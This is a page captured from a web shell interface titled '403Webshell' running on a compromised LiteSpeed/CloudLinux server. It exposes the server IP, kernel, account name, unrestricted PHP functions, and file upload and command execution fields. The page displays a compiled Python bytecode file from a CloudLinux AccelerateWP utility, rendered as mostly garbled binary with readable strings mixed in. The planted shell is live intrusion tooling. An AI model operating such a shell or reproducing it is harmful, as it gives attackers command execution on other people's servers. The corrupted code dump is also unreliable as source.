403Webshell
Server IP : 192.158.238.246  /  Your IP : 18.226.52.105
Web Server : LiteSpeed
System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64
User : jenniferflocom ( 1321)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/cloudlinux/venv/lib/python3.11/site-packages/clwpos/user/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/cloudlinux/venv/lib/python3.11/site-packages/clwpos/user/__pycache__/wpos_user.cpython-311.pyc
�

��g���:�dZddlZddlZddlZddlmZmZddlmZddl	m
Z
mZmZm
Z
ddlmZddlmZddlmZdd	lmZdd
lmZddlmZddlmZdd
lmZddl m!Z!ddl"m#Z#ddl$m%Z%m&Z&ddl'm(Z(m)Z)ddl*m+Z+m,Z,m-Z-ddl.m/Z/ddl0m1Z1m2Z2m3Z3m4Z4mZm5Z5m6Z6m7Z7m8Z8m9Z9m:Z:ddl;m<Z<m=Z=ddl>m?Z?m@Z@ddlAmBZBddlCmDZDmEZEddlFmGZGmHZHmIZIddlJmKZKddlLmMZMmNZNddlOmPZPmQZQmRZRmSZSmTZTmUZUmVZVmWZWmXZXmYZYmZZZm[Z[ddl\m]Z]m^Z^m_Z_ddl`maZae+eb��Zce1e2fZde?dd e@�!��Zed"�ZfeW��see�gd#dd$ef�%��n&ee�gd#e[��eheji�&��Gd'�d(ej��ZkeGd)�d*����ZlGd+�d,��ZmdS)-z+
Implementation of clwpos-user CLI utility
�N)�	dataclass�asdict)�chain)�Dict�List�Optional�Tuple)�drop_user_privileges)�Feature)�is_panel_feature_supported)�WP_BROKEN_CORE_REPAIR_TIP)�parse)�	constants)�gettext)�	WposError��
WposDaemon)�
get_user_info)�get_allowed_modules�get_allowed_features_dict)�get_visible_modules�get_visible_features_dict)�
setup_logging�USER_LOGFILE_PATH�init_wpos_sentry_safely)�reload_redis)�OBJECT_CACHE_FEATURE�CDN_FEATURE�ALL_OPTIMIZATION_FEATURES�CompatibilityIssuer�UniqueId�!convert_feature_list_to_interface� disable_without_config_affecting�enable_without_config_affecting�
DomainName�DocRootPath)�get_subscriptions_by_pw�is_feature_hidden_server_wide)�ArgumentParser�CustomFormatter)�enable_caching)�
UserConfig�LicenseApproveStatus)�CommandProgress�track_command_progress�update_command_progress)�RedisLibUser)�post_site_check�RollbackException)�
USER_WPOS_DIR�check_license_decorator�
print_data�catch_error�error_and_exit�daemon_communicate�check_domain�is_run_under_user�_run_clwpos_as_user_in_cagefs�is_redis_configuration_running�get_server_wide_options�get_pw)�php_info�%update_redis_disable_banners_constant�WordpressError)�redis_socket_health_checkz/usr/bin/clwpos-userz.Utility for control CL AccelerateWP under user)�formatter_classc�n�	t|���S#t$rtjd|z���wxYw)N��usernamezUser '%s' does not exist)r?�KeyError�argparse�ArgumentTypeErrorrFs �L/opt/cloudlinux/venv/lib64/python3.11/site-packages/clwpos/user/wpos_user.py�get_userrLbsO��P��x�(�(�(�(���P�P�P��(�)C�h�)N�O�O�O�P���s��"4z--userT)�default�required�type)rMrO�helpc�"��eZdZdZ�fd�Z�xZS)�MaxCacheMemoryzM
    Class to validate format and values of cache memory setted by user.
    c���	tt|��j|g|�Ri|��}n"#t$rt	jd���wxYwtj}tj}||cxkr|ksnt	jd|�d|�d����|S)Nz#invalid value type, must be integerzvalue must be in range: [�, �])	�superrR�__new__�
ValueErrorrIrJr�MINIMUM_MAX_CACHE_MEMORY�MAXIMUM_MAX_CACHE_MEMORY)�cls�args�kwargs�instance�
min_memory�
max_memory�	__class__s      �rKrWzMaxCacheMemory.__new__ts����	T�9�u�^�S�1�1�9�#�O��O�O�O��O�O�H�H���	T�	T�	T��,�-R�S�S�S�	T�����7�
��7�
��X�3�3�3�3��3�3�3�3��,�G�J�G�G�*�G�G�G�I�I�
I��s	�$(�A)�__name__�
__module__�__qualname__�__doc__rW�
__classcell__)ras@rKrRrRosB���������
�
�
�
�
�
�
�
�
�rRc�2�eZdZUdZeed<eed<eed<dS)�ManagedFeaturezI
    To track (docroot, website, feature) which was enabled/disabled
    �docroot�website�feature_nameN)rbrcrdre�str�__annotations__�rgrKriri�s<����������L�L�L�
�L�L�L������rgric�v�eZdZdZddiZd�Zedefd���Ze	d���Z
d�Zd	�Zd
�Z
	d[ded
edefd�Zedededefd���Zdefd�Zededededefd���Zd�Zededededefd���Ze�ddd �!��e�d"dd#�$��e�d%dd#�$��e�d&d �'��e�d(ddd�)��e�d*edd#�+��e���d,���������������Z e�d-d.d/d�0��e�d1d2d3�4��e�d5d6d7�4��e���d8���������Z!e"d9���Z#d:�Z$d;�Z%d
eded#zfd<�Z&e�d=ed>d �?��e���d@�����Z'd\defdA�Z(dedBededCefdD�Z)dEedFededefdG�Z*e�dHdIe+e,j-�J��e���e.dK�������Z/dL�Z0e"dM���Z1e�d&edNe2e3�O��e�dPedQd �?��e���dR�������Z4dS�Z5e.e"dT�����Z6d[dU�Z7e���dV���Z8dW�Z9dXedYedFedEefdZ�Z:d#S)]�CloudlinuxWposUserz4
    Class for run clwpos-user utility commands
    �command�reloadc�0�d|_d|_d|_dS)NF)�_is_json�_opts�command_progress��selfs rK�__init__zCloudlinuxWposUser.__init__�s����
���
�;?����rg�returnc�l�tj�|jjjtd��S)Nz
redis.sock)�os�path�joinrv�user�pw_dirr4rxs rK�redis_socket_pathz$CloudlinuxWposUser.redis_socket_path�s!���w�|�|�D�J�O�2�M�<�P�P�Prgc���|�|��|_t|jdd��tjkrd|j_d|_t��st|jj	j
��nt��t��s:ttj
��s!t|jj	j
dd���t�dt#|j����t||jj�dd	������}t�d
t#|����t)|j|��dS)zs
        Run command action
        :param argv: sys.argv[1:]
        :return: clwpos-user utility retcode
        �wp_pathN�TF)�effective_or_real�set_envzIncome request=%s�-�_zCommand finished with result=%s)�_parse_argsrv�getattrr,�INVALID_PATH_KEYr�rur;r<r��pw_namer�
ModuleFeature�CAGEFSr
�logger�informrr�replacer6)ry�argv�results   rK�runzCloudlinuxWposUser.run�s8���%�%�d�+�+��
��4�:�y�$�/�/�:�3N�N�N�!#�D�J����
� �"�"�	,�)�$�*�/�*A�B�B�B�B�)�+�+�+� �"�"�	a�+E�m�FZ�+[�+[�	a� ����!8�E�[_�`�`�`�`����'��T�Z���9�9�9�D���t�z�1�9�9�#�s�C�C�D�D�F�F�����5�s�6�{�{�C�C�C��4�=�&�)�)�)�)�)rgc��t��N)�NotImplementedError)ryr�s  rKr�zCloudlinuxWposUser._parse_args�s��!�!rgc���|tkrgtj�tj��s@t
|jtd��tjtj	d�d���dSdSdS)zH
        Ensures monitoring socket is present, otherwise - exit
        z�Unable to find monitoring daemon socket %(daemon_file)s. Please, contact your system administrator to ensure service %(service_name)s is currently running)�daemon_file�service_name�r��contextN)
rr}r~�existsr�WPOS_DAEMON_SOCKET_FILEr8rur��MONIROTING_SERVICE�ry�features  rK�!_check_monitoring_daemon_and_exitz4CloudlinuxWposUser._check_monitoring_daemon_and_exit�s����*�*�*�����y�'H�I�I�+���
��!o�p�p�/8�/P�09�0L� N� N���
�
�
�
�
�+�*�*�*rgc��|tkr4t��r(t|jdt	d��i��dSdSdS)zL
        Ensures redis configuration processes are not in progress.
        r�zsConfiguration of PHP redis extension is in progress. Please wait until the end of this process to use AccelerateWP.N)rr=r8rur�r�s  rK�+_check_redis_configuration_process_and_exitz>CloudlinuxWposUser._check_redis_configuration_process_and_exit�sg���*�*�*�/M�/O�/O�*���
��a�!a�b�b��
�
�
�
�
�+�*�*�*rgF�user_configr�c
��|jj}|tkrdSddg}|�|g��}t	j��}t
|��}||vo|o|dk}	|dko|}
|o|dko|dk}t�dt|��|t|��t|��t|����|
s|s|	r*t�dt|����dSdS)	aD
        Determine if it is needed to send reload command to Wpos redis daemon.
        Such reload should be done:

        1. Enabling object cache and redis is not alive for user
        2. Enabling object cache, but there are no successful sites (failed enabling)
        2. Disabling object cache for last site
        F�disablezdisable-allr�enablez�Check whether to reload redis for user=%s, command=%s, is_redis_alive=%s, before config modified status=%s,sites_with_enabled_cache_left=%sz*Redis is needed to be reloaded for user=%sT)
rvrrr�"get_enabled_sites_count_by_modulesr}�geteuidrCr�r�rm)ryr�r��before_config_modifiedrr�disable_commands�sites_count_with_enabled_module�uid�is_redis_alive�turn_off_upon_disable_last_site�turn_on_upon_enabling�turn_off_upon_failed_enablings            rK�_is_redis_daemon_reload_neededz1CloudlinuxWposUser._is_redis_daemon_reload_needed�sV���*�$���*�*�*��5�
��
��
+6�*X�*X�Za�Yb�*c�*c�'��j�l�l��2�3�7�7��,3�6F�+F�,P�+9�,P�+J�a�+O�	(�
")�H�!4�"4�%3�!3�	�*@�*N�)0�H�)<�*N�)H�A�)M�	&�	���7���H�H����'�'��.�/�/��7�8�8�
	:�
	:�
	:�!�	�$A�	�Ed�	��K�K�D�c�#�h�h�O�O�O��4��urg�domains_per_docroot�php_datac���t��t��}}|D]E}|d}||vr�|�|d��|�|d���F||fS)zb
        Returns pair (all_php_versions, all_php_handlers) for domains in
        docroot
        �vhost�version�handler)�set�add)r�r��versions�handlers�item�domains      rK�+_get_php_versions_handlers_pair_for_docrootz>CloudlinuxWposUser._get_php_versions_handlers_pair_for_docrootsv��!�U�U�C�E�E�(���	*�	*�D��'�]�F��0�0�0���L�L��i��)�)�)��L�L��i��)�)�)�)���!�!rg�module_namec�
�g}|S)z�
        Collects general (not depending on worpress/docroot setup)
        server misconfigurations/incompatibilities with WPOS
        ro)ryr��issuess   rK�collect_general_issuesz)CloudlinuxWposUser.collect_general_issuess��
���
rg�module�
doc_root_infor@�visible_featuresc	�X�|d�Jtdtd��td��td��t|������gSg}|�|�||����|�||�	��}|�|��|S)
z\
        Collects incompatibilities related to docroot (non-supported handler, etc)
        �php_versionN�PHP_MISCONFIGUREDz"Unable to detect php configurationzWe were unable to detect php configuration for this website. This might happen if there is a misconfiguration in control panel.zKPlease try again later and contact your administratorif the issue persists.)�
debug_data)�	unique_id�header�description�fix_tip�	telemetry)r�)r r��dict�extend�_check_ambiguous_php_config�collect_docroot_issues)ryr�r�r@r�r��additional_issuess       rKr�z)CloudlinuxWposUser.collect_docroot_issues's���
��'�/�"�1��A�B�B� !�#g�!h�!h��7�8�8�"�m�<�<�<����
�

����
�
�d�6�6�}�h�O�O�P�P�P�"�9�9��,<�:�>�>���
�
�'�(�(�(��
rgc
��g}|d}|�||��\}}t|��dkr}|�tt	d��t	d��t	d��dd�|��itjtd|����	����t|��dkr}|�tt	d
��t	d��t	d��dd�|��itjtd
|����	����|S)z�
        Checks whether docroot has multiple php configs
        for the same path. This usually happens on cPanel when
        user or admin selects different php versions for primary domain
        and alias which points at the same location.
        �domains�z"Different PHP versions for domainszOThose domains: %(domains)s are in same docroot, but using different PHP versionzMSet or ask your system administrator to set same PHP version on those domainsrT�PHP_VERSION_BADLY_CONFIGURED)�reasonr��r�r�r�r�r�r�z"Different PHP handlers for domainszPThose domains: %(domains)s are in same docroot, but using different PHP handlerszMSet or ask your system administrator to set same PHP handler on those domains�PHP_HANDLER_BADLY_CONFIGURED)	r��len�appendr r�rr!�PHP_MISCONFIGURATIONr�)ryr�r@r�r�r�r�s       rKr�z.CloudlinuxWposUser._check_ambiguous_php_configBsx����+�I�6��!�M�M���+�+���(��x�=�=�1����M�M�"��A�B�B� !�#D�!E�!E��m�n�n�!�4�9�9�-@�#A�#A��'�;�"�=� 3����
�
�
�
�
�
�"�x�=�=�1����M�M�"��A�B�B� !�#E�!F�!F��m�n�n�!�4�9�9�-@�#A�#A��'�;�"�=� 3����
�
�
�
�
�
�"�
rg�wordpress_inforj�module_is_enabledc�P�g}t|�����}|�d��}|s�|�t	td��td��tt||�dd�����tj	tt|����������n�||kr�|�t	td	��td
��td��tt|��t|�����tjtt|��t|����������|�|�
|||����|S)
zi
        Collects incompatibilities related to wordpress setup (conflicting plugin enabled, etc)
        r�z%Failed to determine WordPress versionz�Optimization feature couldn't be applied because WordPress installation at %(wp_path)s seems to be damaged or misconfigured.
Details: %(error_details)s�version_missing_reasonz&wp-include/version.php file is invalid)r��
error_details)�minimum_supported_wp_versionr�zUnsupported WordPress versionzVOptimization feature is incompatible with WordPress version %(wp_version)s being used.z�The minimal supported WordPress version is %(minimum_supported_wp_version)s. Upgrade your WordPress installation or reinstall it from the scratch.)r��
wp_version)�
parse_versionr��getr�r r�r
r�r!�MISCONFIGURED_WORDPRESSrm�UNCOMPATIBLE_WORDPRESS_VERSIONr��collect_wordpress_issues)ryr�r�rjr�r�r�r�s        rKr�z+CloudlinuxWposUser.collect_wordpress_issuesus�����(5�[�5]�5]�5_�5_�'`�'`�$�#�'�'�	�2�2�
��+	��M�M�"��D�E�E� !�5�!�!�6� � '�&4�&8�&8�4�
E�
'�'�
�
�
�'�>�"��D`�@a�@a�b�b�b�+���
�
�
�
�2�6�
6�
6��M�M�"��<�=�=� !�#Q�!R�!R��f�g�g� �58�9U�5V�5V�#&�z�?�?����'�E�"�58�9U�5V�5V�#&�z�?�?�������
�
�
�$	�
�
�k�:�:�>�7�Te�f�f�g�g�g��
rgz--listen�
store_trueT)�actionrNz--domainN)rNrMz	--wp-pathz	--feature)rNz--ignore-errors)rNrMr�z--advice-id)rOrNrMc	��t|jj|jjduf��r>t	|jj|jjduf��st|jddi��|jj�d��}|D],}|d�tD��vrt|jddi���-ttj|jj|jj|jj|jj
|jjd���iS)Nr�zDBoth domain and wp_path arguments are requited if one of them is set�,c�6�g|]}|�����Sro)�to_interface_name)�.0r�s  rK�
<listcomp>z3CloudlinuxWposUser.subscription.<locals>.<listcomp>�s$��^�^�^���2�2�4�4�^�^�^rgzUnsupported feature passed)rrr�r�r��
ignore_errors�	advice_id)�anyrvr�r��allr8rur��splitrr9r�DAEMON_REGISTER_UPGRADE_ATTEMPTr�r�)ry�features�fs   rK�subscriptionzCloudlinuxWposUser.subscription�s%����
�!�4�:�#5�T�#A�B�C�C�	\��T�Z�.��
�0B�$�0N�O�P�P�	\��4�=�8�6Z�+[�
\�
\�
\��:�%�+�+�C�0�0���	X�	X�A��^�^�D]�^�^�^�^�^��t�}�x�9U�.V�W�W�W���!�A��j�'��z�)��z�)�!�Z�5���-�
�
�	�	�	��	rgz--statusz-szStatus of license agreements)rPr�z	--approvez-azApprove license agreement)rPz--textz-tz"Read and approve license agreementc�,�|jjrKt|jj��}i}tD]$}|�|��j||j<�%d|iS|jjrKt|jj��}t|jj��}|�
|��ddiS|jjrLt|jj��}|jsddiSdt|j�����iSt!d���)N�licenses�statuszLicense agreement acceptedr��NO_LICENSE_TERMS�text�Unknown command)rvrr,r�r�get_license_approve_status�name�NAME�approver�approve_license_agreementr�HAS_LICENSE_TERMS�open�LICENSE_TERMS_PATH�readr�)ry�ucr�r�s    rK�	agreementzCloudlinuxWposUser.agreement�s*��
�:��	9��D�J�O�,�,�B��F�4�
S�
S��')�'D�'D�W�'M�'M�'R��w�|�$�$���'�'�
�Z�
�	9��d�j�0�1�1�G��D�J�O�,�,�B��(�(��1�1�1��6��
��Z�_�	9��d�j�o�.�.�G��,�
��0���
��W�7�8�8�=�=�?�?��
�&�&7�8�8�8rgc
�z�����t�jjj��}t	�jjj��}tt
|�������d�|���D��}d�|���D��}t��5	t���n%#t$r�r�g||d�cYcddd��SwxYw�j�
������}t�jjj��}�j�|���j�
��i�t"D]J}|t%��jvrt(�d���2��|���|<�K����fd�|���D��}g}	|���D�]\}
}g}|dD]�}
i}t"D]�}��|dd|
d	|��}|||vd
�}|d�g}n��||
|
|���}g�|�||
|�|�}|r!|�
d
d�|D��i��|||���<��||
d	|
dpd|d�gz
}��|	i|�||dr
|djndd��gz
}	��	ddd��n#1swxYwY|	||d�����������S)Nc�4�i|]\}}|t|����Sro�r"�r��feature_setr�s   rK�
<dictcomp>z+CloudlinuxWposUser._get.<locals>.<dictcomp>��>��&b�&b�&b�*?�+�x�'2�3T�U]�3^�3^�&b�&b�&brgc�4�i|]\}}|t|����Srorrs   rKrz+CloudlinuxWposUser._get.<locals>.<dictcomp>�rrg)�docroots�allowed_featuresr�zKOptimization feature "%s" is skipped, because it is hidden by administratorc�`���i|])\}�|����fd�����D����*S)c	�B��i|]}|��|�������Sro)r�)r��featr��phpinforyr�s  ����rKrz6CloudlinuxWposUser._get.<locals>.<dictcomp>.<dictcomp>sI�������
�$�5�5��%��(�	����rg)�keys)r�rjr��general_feat_issuesrryr�s  @����rKrz+CloudlinuxWposUser._get.<locals>.<dictcomp>ss����(�(�(�+�G�]���������!4� 8� 8� :� :����(�(�(rg�wpsr�rr~��enabled�visibler��r�r�c��g|]	}|j��
Sro��	dict_repr�r��issues  rKr�z+CloudlinuxWposUser._get.<locals>.<listcomp>Cs'��;�;�;�49���;�;�;rgr��UNKNOWN)r~r�r�)rr�)rrvr��pw_uidr�listr�values�itemsr+r@rrw�update�_get_user_infor�"recalculate_number_of_total_stagesrr>�hidden_featuresr��warningr��_is_enabledr�r��
identifier�_get_billing_status�_get_redis_status)ry�allowed_features_dict�visible_features_dict�converted_allowed_features�converted_visible_features�	user_info�visible_modulesr�docroots_features_issuesrrjr��wps_out�wp�feats�
is_enabled�module_info�wordpress_issuesr�rrr�s`                  @@@rK�_getzCloudlinuxWposUser._get�s������� 9�$�*�/�:P� Q� Q�� 9�$�*�/�:P� Q� Q����'<�'C�'C�'E�'E� F�G�G��&b�&b�CX�C^�C^�C`�C`�&b�&b�&b�"�&b�&b�CX�C^�C^�C`�C`�&b�&b�&b�"��
�
�V	�V	�
H�"�*�*�����
H�
H�
H�#���%'�<V�,F�H�H�H�H�V	�V	�V	�V	�V	�V	�V	�V	�
H����
�!�(�(�*�*�*��+�+�-�-�I�1�$�*�/�2H�I�I�O��!�D�D�Y�O�O�O��!�(�(�*�*�*�#%��1�
N�
N���2�4�4�D�D�D��N�N�#p�q�q�q��,0�,G�,G��,M�,M�#�D�)�)�(�(�(�(�(�(�(�/8�o�o�.?�.?�(�(�(�$��H�*3�/�/�*;�*;�*
�*
�&�����'��.���B��E� 9�F�F��%)�%5�%5�m�I�6N�q�6Q�SU�V\�S]�_c�%d�%d�
�2<��Q`�I`�&a�&a��(��7�?�/1�,�,�/3�/L�/L� $�b�'�Z�0M�0�0�,�"�0��6�"�5�g�>�t�D�"�.�"��"� �'�.�.��;�;�=C�;�;�;�0� � � �;F��d�4�4�6�6�7�7��$&�v�J�')�)�}�'A�	�(-��� ��G�G���#��"�)��7�$B�=��#?�#J�#J�=A��������I*
�YV	�V	�V	�V	�V	�V	�V	�V	�V	�V	�V	����V	�V	�V	�V	�t!� :� :�
�
��&�&�(�(�	
�
�$�$�&�&�
�	
s7�3L�5C�L�C&�L�%C&�&HL�L�Lc���t�jj��}|�fd�tjt
jhD��d�S)Nc���i|]<}|�����|�������=Sro)�lower�_get_upgrade_url�r�r�rys  �rKrz:CloudlinuxWposUser._get_billing_status.<locals>.<dictcomp>gsI��������
�
����!6�!6�w�}�}���!G�!G���rg)r��upgrade_url)r'rvr�rrr)ry�
subscriptionss` rKr5z&CloudlinuxWposUser._get_billing_statusbsY���/��
��@�@�
�*����� 4� 9�;�;K�L����
�
�	
rgc���t|j�����t|jj������dtj��d�S)N�max_cache_memory)�used_memoryrM)	r1r��get_redis_used_memoryr,rvr��
get_configr��DEFAULT_MAX_CACHE_MEMORYrxs rKr6z$CloudlinuxWposUser._get_redis_statusms^��'��(>�?�?�U�U�W�W� *�4�:�?� ;� ;� F� F� H� H� L� L�"�J�$G�!�!�
�
�	
rgc�r�	ttj|d���d}n#t$rd}YnwxYw|S)N�rrr�rJ)r9r�DAEMON_GET_UPGRADE_LINK_COMMANDr)ryr�rJs   rKrHz#CloudlinuxWposUser._get_upgrade_urlusa��	�,�%�E�"�.�.�����K�K���	�	�	��K�K�K�	�����s�"%�4�4z	--websitezWebsite to scan)rOrPrNc����|jjj}t|��t	|��}}	t��}n#t$r|r�d}YnwxYw|���}i}tD�];�|�	���}�|vrf|�
ttd��td��td��tjtd��������t!���rf|�
ttd��td	��td
��tjtd��������|���D�].\}}	|jj|	dvr��|vr|��|	||��}
|	d
D]�}|�|	dd|d���}g}
|rO|�|dg���
tjt���jd���n5�|vr-|	d�g}n|��|||���}g|�|
�|�}
ng|�}
|�|dg����fd�|
D�������0��=|���D]}|ds�|dj|d<�d|iS)zd
        ATTENTION: --website = actually domain, -> pass domain name instead of website !!!
        NzFeature was not made visiblez1Optimization feature was not made visible to userz9Contact Administrator to allow using optimization feature�FEATURE_NOT_MADE_VISIBLE)r�)r�r�r�r�r�zFeature is hidden server widez6Optimization feature is hidden in server wide settingsz(Contact Administrator to make non-hidden�FEATURE_HIDDEN_SERVER_WIDEr�rrr~�rOr��advice_typer�r#c�d��g|],}t|t���|j|j�jd���-S)rX)�
isinstancer r�r�r)r�r(r�s  �rKr�z+CloudlinuxWposUser.scan.<locals>.<listcomp>�sR���;�;�;�"�*�U�L^�:_�:_�
;�$)�O�',��+6�+;���;�;�;rgr�)rvr�r*rrr@rr/rr�r�r r�r!rVr�r(rWr-rkr�r3�
setdefault�!CLOUDLINUX_MODULE_ALREADY_ENABLEDrr�r�r,r4)ry�u_id�allowed_modulesr<rr;r�general_issuesrjr��docroot_issuesr?rA�incompatibilitiesrC�
document_rootr�s                @rK�scanzCloudlinuxWposUser.scans�����z��%��+>�t�+D�+D�FY�Z^�F_�F_���	��j�j�G�G���	�	�	��
���G�G�G�	����
�'�'�)�)�	���4�>	�>	�K�!�8�8��E�E�N��/�1�1��%�%�&� �!?�@�@�$%�&Y�$Z�$Z� !�"]� ^� ^�"*�"C�"&�.H�"I�"I�"I�������-�[�9�9�	
��%�%�&� �!@�A�A�$%�&^�$_�$_� !�"L� M� M�"*�"E�"&�.J�"K�"K�"K�������+4�/�/�*;�*;�%
�%
�&����:�%�]�9�-E�E�E���/�1�1�%)�%@�%@�#�]�G�_�&N�&N�N�(��.���B�!%�!1�!1�-�	�2J�1�2M�r�RX�z�[f�!g�!g�J�(*�%�!�>����r�&�z�2�6�6�=�=�$,�$N�'+�v�v�+6�+;�?�?�����%��7�7�(��7�?�/1�,�,�/3�/L�/L� +�R��J�0M�0X�0X�,�-b�n�,a�~�,a�P`�,a�)�)�,=�n�,=�)��N�N�2�f�:�r�2�2�9�9�;�;�;�;�&7�
;�;�;�����-�%
�P'�-�-�/�/�	S�	S�M� ��/�
��+8��+G�+R�M�-�(�(�
�c�
�	
s�A�A�Ac��d�}|�1t��}|���D]
}||���nt��|}||��|S)Nc��|�di��}|�d��|d<|�d��|d<dS)r��phpr�r�r��php_handlerN)�popr�)r�rgs  rK�reformat_php_dataz<CloudlinuxWposUser._get_user_info.<locals>.reformat_php_data�sG���(�(�5�"�%�%�C�"%�'�'�)�"4�"4�D���"%�'�'�)�"4�"4�D����rg)rr,)ryrjrjr;r�s     rKr/z!CloudlinuxWposUser._get_user_info�s|��	5�	5�	5��?�%���I�!*�!1�!1�!3�!3�
1�
1�
�!�!�-�0�0�0�0�
1�&����0�I���i�(�(�(��rg�wordpress_path�is_module_enabledc�j�g}t|jjj��}|�|��}t��}|�|��}	|�||	||��}
|	dD](}|d|kr�|�||||���}�)d�g|�|
�|�RD��S)zB
        Obtains issues for special docroot and wordpress
        rr~r#c��g|]	}|j��
Sror%r's  rKr�zDCloudlinuxWposUser.get_current_issues_by_docroot.<locals>.<listcomp>�s��c�c�c�E���c�c�crg)	rrvr�r*r�r@r/r�r�)ryr�rkrjrlrCr_r`r�user_info_by_docrootrar?s            rK�get_current_issues_by_docrootz0CloudlinuxWposUser.get_current_issues_by_docroot�s�����-�d�j�o�.D�E�E���4�4�[�A�A���*�*��#�2�2�7�;�;���4�4�[�BV�X_�ap�q�q��&�u�-�	b�	b�B��&�z�^�+�+��#�<�<�[�"�g�O`� =� b� b���c�c�-b�~�-b��-b�Qa�-b�-b�c�c�c�crgr�r�c��t|jj��}|�|||��o|t	|jjj��vSr�)r,rvr�rlrr*)ryr�r�r�r
s     rKr3zCloudlinuxWposUser._is_enabledsH��
��
��
(�
(���#�#�F�G�V�<�<�v��K^�_c�_i�_n�_u�Kv�Kv�Av�vrgz--max_cache_memoryz!Maximum cache memory to use in MB)rPrOrMc��t|jj��}d|jj�d�i}|�|��t|j��|S)NrM�mb)r,rvr�rM�
set_paramsr9�COMMAND_RELOAD_DICT)ryr
�paramss   rKr�zCloudlinuxWposUser.setsU��
��
��
(�
(��$���)D�&H�&H�&H�I��
�
�
�f�����4�3�4�4�4��
rgc
�<�����fd�}t|jj�������}g}|D]�\�}}	|�||��|�t�||�����n;#t$r.t�dt�||f����Y�qwxYw|�
�t|�����r<	td�����#t$rt�d��Y��wxYw��dd	�|D��iS)
Nc���tt���||���}|rtdd|i������d|||���dS)N�r�z:Error(s) "%(errors)s" during disabling plugin in WordPress�errors)r�)r�r�r��relative_docroot)r#r&r�disable_module)rj�siterl�
last_error�doc_rootr
s    ��rK�_disable_singlez8CloudlinuxWposUser._disable_all.<locals>._disable_singlesx���9��H�%�%�t�L����J��
��P�%�z�2�����
���T�4��_f��g�g�g�g�grg)rjrkrlzCannot disable feature for: %s�r��yes��skip_last_reload_timezFailed to reload redis�disabledc�,�g|]}t|����Sro)r)r�r�s  rKr�z3CloudlinuxWposUser._disable_all.<locals>.<listcomp>/s��J�J�J�d�V�D�\�\�J�J�Jrg)
r,rvr��enabled_modulesr�ri�	Exceptionr��	exceptionrmr�rr)ryr��all_enabled_features�deactivated_objectsr}rlrr
s      @@rK�_disable_allzCloudlinuxWposUser._disable_alls�����		h�		h�		h�		h�		h�		h���
��
(�
(��!�1�1�3�3�� ��,@�	?�	?�(�H�d�L�
����$��=�=�=�#�*�*�"�8�T�P\�]�]�]�������
�
�
�� � �!A�3��RV�Xd�Ge�Cf�Cf�g�g�g���
�����2�2�2�w�|�?T�?T�2�U�U�
?�?� �u�=�=�=�=�=�� �?�?�?��$�$�%=�>�>�>�>�>�?����
?��J�J�6I�J�J�J�K�Ks$�2A4�45B,�+B,�C%�%$D�Dc
��t|jj��\}}|jj�d��}t|jj��}g}|jj���}|�	|jj||��s)td��|jj|jjd�d�S|�|���|j�
��tt|jj��||���}|r=t �|j|jz��|�|��ni	|�|jj||��nF#t,$r9}t �d��|�|��Yd}~nd}~wwxYw|j�
��|�||���r�	t3d�	��n�#t4$rO}|j|jz}	t �d
|j|	��|�|��Yd}~nId}~wt,$r9}t �d��|�|��Yd}~nd}~wwxYw|j�
��|�|jj||��}
|t;|jjj��v}	|�d��}n#t@$rd}YnwxYw|
r�|rYt5td
��|jdtCj"|jjj#���itI|di�������tK|j&dtd��i��dS|
|d�tO|j(���)��d�}|rJ|�
td��dtCj"|jjj#���id���n%|�*||||
��}
|
r|
|dd<|S)N�/zbOptimization feature %(feature)s is already disabled on the domain %(domain)s. Nothing to be done.�r�r��r2r�r�ryz"unable to disable module in configr�r�z(CLWPOS daemon error: '%s'; details: '%s'zunable to reload cache backend���aOptimization feature disabling failed because one or more steps reported error. Caching is still active, but may work unstable. Try disabling it again. Contact your system administrator if this issue persists. Detailed information you can find in log file '%(log_path)s'�log_path)�homedirr�)�message�detailsr�r�z�WordPress caching module is still enabled, but no errors happened. Try again and contact your system administrator if this issue persists.r �r�rNz�Optimization feature disabled, but one or more steps reported error. Detailed information you can find in log file '%(log_path)s'r�r�)+r:rvr�r��stripr,r�r��optimization_featurerlr�r�rwr.r#r%r��errorr�r�r�r|r�r�r�rrr�r3rr*ri�
IndexErrorr�formatr�r�r8rur1r�rOrp)ryrGrr�r
rzrlr~�e�	s_detailsrl�is_module_visible�responser�s              rK�_disablezCloudlinuxWposUser._disable1s���)�$�*�*;�<�<���(��*�$�*�*�3�/�/��
��
��
(�
(�����z�)�>�>�@�@���#�#�D�J�$5�w��M�M�	]� �"7� 8� 8�*.�*�*;��
�HZ�[�[�]�]�
]�	
�.�.�|�.�D�D�D���$�$�&�&�&�5��t�z�(�)�)�7�<�I�I�I�
��		!��L�L��+�j�.@�@�A�A�A��M�M�*�%�%�%�%�
!��!�!�$�*�"3�W�l�K�K�K�K���
!�
!�
!�� � �!E�F�F�F��
�
�a� � � � � � � � �����
!����	
��$�$�&�&�&��.�.�r�<�.�H�H�		!�
!��5�9�9�9�9�9���
!�
!�
!��I��	�1�	�� � �!K�Q�Y�Xa�b�b�b��
�
�a� � � � � � � � ������
!�
!�
!�� � �!A�B�B�B��
�
�a� � � � � � � � �����
!����	
��$�$�&�&�&� �,�,�T�Z�->���V�V��(�,?��
��@V�,W�,W�W��	����B���J�J���	�	�	��J�J�J�	�����*	��
���]�^�^�'�.�"�$5�$<�T�Z�_�E[�$\�$\�$\��!�*�i��<�<��
�
�
�
���M��q�"k� l� l�m������ 1�0��� ,�D�,B�C�C�Y�Y�[�[���H��

;����#$�&d�$e�$e�'�(9�(@����I_�(`�(`�(`�$��������;�;�L�'�S[�]n�o�o���;�4:�H�Y�'��1��OsO�!E9�9
F<�/F7�7F<�0H�
J�AI�
J�"/J�J�9L�L�Lz\List of AccelerateWP optimization features separated by commas on which to perform an action)rOrP�choicesrMz--actionz7Action to perform on AccelerateWP optimization featuresc��|jj}|jj}d|ji}||vrt	|jdd|�d�i��|||��S)zB
        Perform action on selected AccelerateWP features
        �purger�zInvalid action "z-", currently only "purge" action is supported)rvr�r��redis_purger8ru)ryr�r��action_to_funcs    rK�	do_actionzCloudlinuxWposUser.do_action�st����"���*�$��!�4�#3�4����'�'���
��f��f�f�f��
�
�
�&�~�f�%�g�.�.�.rgc�N�t|j�����S)z4
        Clean entire redis cache for user.
